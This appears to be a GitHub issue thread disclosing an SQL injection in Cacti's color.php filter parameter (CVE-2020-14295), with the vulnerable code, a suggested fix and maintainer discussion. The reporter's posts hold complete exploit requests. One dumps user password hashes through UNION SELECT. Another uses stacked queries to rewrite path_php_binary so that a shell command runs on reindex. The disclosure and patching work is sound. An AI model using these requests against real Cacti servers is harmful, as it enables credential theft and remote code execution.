SQL Injection vulnerability due to input validation failure when editing colors (CVE-2020-14295)

[Mayfly277]

sqli as admin v1.2.12

There is an sql injection on the latest version (in the /cacti/color.php page on the parameter filter.

To Reproduce

Steps to reproduce the behavior:

call /cacti/color.php?action=export&header=false&filter=')<SQLI HERE>--+-

Expected behavior

change the following lines :

cacti/color.php

Line 754 in f27e609

$sql_where = "WHERE (name LIKE '%" . get_request_var('filter') . "%'

	/* form the 'where' clause for our main sql query */
	if (get_request_var('filter') != '') {
		$sql_where = "WHERE (name LIKE '%" . get_request_var('filter') . "%'
			OR hex LIKE '%" .  get_request_var('filter') . "%')";
	} else {
		$sql_where = '';
}

You should do db_qstr('%' . get_request_var('filter') . '%') instead of '%" . get_request_var('filter') . "%.

Additional context

• As the application accept stacked queries, this can easy lead to remote code execution by replacing the path_php_binary setting inside the database.

GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='touch+/tmp/sqli_from_rce;'+where+name='path_php_binary';--+- 

• Then call host.php?action=reindex and get the shell_exec called with the path_php_binary.
  

[Mayfly277]

cve-id: CVE-2020-14295

[netniV]

Not sure if that was already covered in our current CVE tracker. Have you tested against the very latest 1.2.x branch ?

[Mayfly277]

I tried with that image which use the latest release : quantumobject/docker-cacti
And the request :

/cacti/color.php?action=export&header=false&filter=')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;-- -`

Is getting back the users and hash.

The code on this function haven't change in 3 years:

But the filter change 11 months ago and that change bring the issue.

• The actual code (1.12.x branch):

• before the issue Non regular expression search filters don't support international characters #2839 fix the code (v1.2.6) seems to be not vulnerable :

[TheWitness]

This was resolved some time ago in the 1.2.x branch.

[carnil]

This was resolved some time ago in the 1.2.x branch.

Would you have a commit reference int the 1.2.x branch which is fixing the issue?

[Mayfly277]

No this is NOT fixed.
I just tried with a fresh checkout of 1.2.x. and the exploit still work.
Please reopen @TheWitness

[netniV]

Thanks for verifying. And supplying a patch. Could you add the CVE number to the changelog ?

[TheWitness]

You have to be reviewing something other than the 1.2.x branch. Here is a screen capture of the 1.2.x branch. Tell me which part of this does not conform to your reasoning?

[TheWitness]

@Mayfly277, after re-reading, I think you are confused. It's "git clone -b 1.2.x ...". It's not "branch 1.12.x, it's 1.2.x.

[Mayfly277]

@TheWitness please retake a Look line 754 ;).

[TheWitness]

I'll be damned. Where did that come from. Re-opening. Thanks for being persistent.

[TheWitness]

Resolved now.

[ddb4github]

From Code: color.php always process filter by function sanitize_search_string.
And sanitize_search_string will drop char ', , ; and )`.
Why your env can get SQL result.

In my test, final SQL like SQL below, all invalid char is dropped, and injection SQL around with single quot:

SELECT *, 
        SUM(CASE WHEN local_graph_id>0 THEN 1 ELSE 0 END) AS graphs, 
        SUM(CASE WHEN local_graph_id=0 THEN 1 ELSE 0 END) AS templates 
    FROM (
        SELECT c.*, local_graph_id 
        FROM colors AS c LEFT JOIN (
            SELECT color_id, graph_template_id, local_graph_id FROM graph_templates_item WHERE color_id>0 
        ) AS gti ON c.id=gti.color_id 
    ) AS rs 
    WHERE (name LIKE '%1 UNION SELECT 1 username password 4 5 6 7 from user_auth %' 
            OR hex LIKE '%1 UNION SELECT 1 username password 4 5 6 7 from user_auth %') 
        AND read_only='on' 
    GROUP BY rs.id